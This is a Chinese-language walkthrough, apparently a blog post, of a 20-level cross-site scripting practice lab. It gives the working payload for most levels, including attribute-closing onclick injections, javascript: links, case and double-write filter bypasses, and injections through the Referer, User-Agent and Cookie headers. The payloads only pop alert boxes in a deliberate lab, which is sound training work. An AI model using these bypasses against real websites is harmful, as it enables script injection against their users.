level1
打开直接使用name参数进行显示

直接修改url中的name参数为<script>alert('hello')</script>成功触发

level2
输入<script>alert('hello')</script>发现直接将我们输入的攻击代码进行打印了

尝试直接闭合标签

输入"><script>alert("hello")</script>成功触发

level3
直接输入<script>alert('hello')</script>后发现被转义了

输入' onclick='alert(1),闭合value并构造出一个onclick事件。

点击输入框后成功触发

level4
继续尝试闭合value,发现可以成功闭合

继续使用onclick事件进行触发

成功触发

level5
继续使用同样的方法发现行不通了,会把on转变为o_n

尝试使用超链接标签,输入"><a href=javascript:alert(1)>hello</a>构造一个超链接

点击后成功触发

level6
继续使用超链接方法发现也被过滤了

尝试使用大小写进行绕过"><a href=javascript:alert(1)>hello</a>

成功触发

level7
似乎href被整个过滤删除了

尝试进行双写绕过"/><scrscriptipt>alert()</scrscriptipt><"成功触发

level8
发现输入javascript:alert()会被转换为javascr_ipt:alert()

js伪协议可以用在a标签的href里面;iframe标签的src里面;form标签的action以及button的formaction。
尝试使用js伪协议,输入javascript:alert(),成功触发

level9
继续输入发现无法正确上传,查看源码发现是输入的内容中需要包含http://

因此我们需要注释一个http://,构造为javascript:alert()/* http:// */,成功触发

level10
仔细检查发现表单中有三个隐藏的输入框

直接传参给t_sort看看,输入<script>alert(1)</script>,发现过滤了<、>

直接闭合value,构造onclick事件并且将type修改为text,输入"onclick=alert(1)%20type="text">//

成功触发

level11
发现有四个隐藏的文本框,估测t_ref是referer参数

在hackbar中添加一个referer参数,输入" type="text" onclick="alert(1)

点击输入框后成功触发

level12
继续查看发现四个隐藏的文本框,发现t_ua参数就是User-Agent头

在hackbar中修改User-Agent为" type="text" onclick="alert(1)

点击输入框成功触发

level13
还是发现了四个输入框,猜测t_cook就是cookie

在hackbar中进行添加cookie为" type="text" onclick="alert(1)发现并没有效果,使用yakit抓包查看发现漏了user=

重新将cookie设置为user=" type="text" onclick="alert(1)后查看发现输入框显示出来了

点击后成功触发

level14
这一关需要访问http://www.exifviewer.org/,目前无法访问,该关卡主要考察exif xss漏洞。
exif是可交换图片文件格式,是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。我们右键图片选择属性查看详细信息就可以看到exif的相关属性。
我们在这些属性中添加xss代码然后上传图片实现弹窗。
level15
ng-include是AngularJS框架的一个指令,用于在HTML页面中包含外部文件或片段。通过使用ng-include,可以将外部HTML文件内容动态的插入到当前的HTML页面中。

ng-include的基本用法如下所示
- 在需要包含外部文件的位置,使用
ng-include指令,并将要包含的文件路径赋值给指令的属性值
<div ng-include="'path/file'"></div> #文件路径需要用单引号或双引号包含
- 可以使用作用域变量作为文件路径的一部分,以实现动态包含
<div ng-include="dynamicPath"></div>

level16
输入<script>alert(1)</script>发现被过滤了,更换为<img src=1 onerror=javascript:alert(1)>发现也被过滤了,其中script被过滤为 ,空格被转义为

将空格替换为换行符%0a尝试,成功触发

level17
发现含有参数arg01和arg02分别对应着embed标签中的内容

embed标签我们需要使用onmouseover函数进行绕过,该事件会在鼠标指针移动到指定的元素上时发生。因此我们构造payload为arg01=a&arg02=b onmouseover=alert(1),成功触发

level18
发现与上一关一样,因此继续使用上一关的payload,成功触发。

level19
flash xss漏洞,目前flash技术全面停止使用,这关就不做了。
level20
flash xss漏洞,目前flash技术全面停止使用,这关就不做了。
765

被折叠的 条评论
为什么被折叠?



